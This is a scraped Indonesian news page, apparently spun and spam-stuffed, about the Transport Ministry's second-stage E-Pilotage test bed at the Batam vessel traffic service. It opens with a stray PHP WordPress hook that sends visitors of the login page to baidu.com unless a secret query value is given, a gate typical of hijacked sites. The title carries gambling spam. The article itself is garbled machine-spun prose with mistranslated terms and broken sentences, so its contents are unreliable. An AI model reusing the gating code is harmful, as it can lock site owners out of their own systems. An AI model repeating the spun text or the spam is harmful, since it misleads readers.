//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Tahap pertama keberhasilan Kemenhub melanjutkan tahap kedua uji orientasi elektronik | s1288 net login_download game adu ayam_sabung ayam judi
2020-12-05 |  Kilas Kementerian

TRIBUNNEWS.COM, BATAM-Setelah berhasil menyelesaikan tahap pertama test bed electronic driving, test bed dinyatakan berhasil dalam evaluasi yang diadakan di Yogyakarta pada Juli lalu, dan Kementerian Perhubungan melanjutkan E-melalui Administrasi Umum Angkutan Laut. Test bed -Pilotage Tahap II di stasiun Batam Vessel Traffic Service (VTS) dilaksanakan pada Kamis (26/11/2020).

Direktur Navigasi Hengki Angkasawan mengatakan kegiatan test bed E-Pilotage sudah dilakukan. Tujuannya untuk meningkatkan pelayanan pencapaian keselamatan maritim dan perlindungan lingkungan maritim di perairan Indonesia.

Ia meyakini bahwa kegiatan ini telah masuk dalam rencana Quick Wins Administrasi Umum Angkutan Laut pada tahun 2020 untuk melaksanakan rencana tersebut. E-Pilotage untuk mengoptimalkan penggunaan workstation. VTS berada di empat wilayah navigasi India yaitu, kawasan navigasi kelas satu Tanjung Pruek, kawasan navigasi kelas satu Tanjung Pinang, kawasan navigasi kelas dua Benoa, dan kawasan navigasi kelas tiga Tarakan. Empat pelabuhan di wilayah kerja empat wilayah pelayaran tahap pertama juga telah dievaluasi dan dibahas pada Juli tahun lalu, dan didapat saran serta kontribusi rinci terkait penerapan electronic driving test bed tersebut, ”ujarnya. -Hengki Ditambahkan bahwa Kementerian Perhubungan saat ini sedang dalam proses penyusunan landasan hukum berupa peraturan perundang-undangan oleh “Administrasi Umum Navigasi dan semua lembaga perantara maritim” melalui Administrasi Umum Angkutan Laut. Salah satu VTS akan menjadi dasar hukum nasional untuk penerapan bangku tes mengemudi elektronik. Pilot VTS Batam telah mengimplementasikan konsep pemandu tempat tidur test nic driving di area pelabuhan Batam di TB Sei Deli III dari dermaga 99 Bintang hingga anchor point.

“Layanan diberikan oleh VTS Batam melalui Freq Saluran Kerja 83 atau VTS Sektor 2 memberikan informasi tentang lalu lintas, cuaca dan navigasi elektronik Pandu di VTS Batam. Kemudian Pandu VTS Batam akan melakukan pembinaan elektronik pada frekuensi ini “, terangnya. Electronic pilot test bed saat ini merupakan implementasi kedua dari pelabuhan Batam. Henji mengatakan yang membedakan pada pengujian ini adalah. Pada pelaksanaan tahap kedua, VTS Pandu / Pilot / Pilot pilot menggunakan peralatan VTS Batam (AIS, Radar dan Radio VHF) untuk langsung menginstruksikan nahkoda. — Menurut Hengki, VTS Batam ini selain implementasi bangku tes. Selain kegiatan, pihaknya akan terus memberikan pelayanan navigasi dan pembinaan bagi kapal-kapal lain yang ada di perairan Batam, serta terus menjalankan tugas dan fungsinya.Hengki berharap test bed juga dapat digunakan untuk menjalin hubungan antara Administrasi Umum Angkutan Laut dengan stakeholders khususnya antara PT. Kolaborasi dan kerjasama yang lebih baik. Wilayah kerja Raja Pelindo I di Pelabuhan Batam.

“Saya berharap semua pihak dapat berkontribusi untuk kelancaran kemajuan dan keberhasilan kegiatan ini demi tercapainya keamanan dan perlindungan maritim. Dan perlindungan laut untuk menghasilkan hasil terbaik. Ia menyimpulkan hal itu di perairan Indonesia. (*)

Tinggalkan Balasan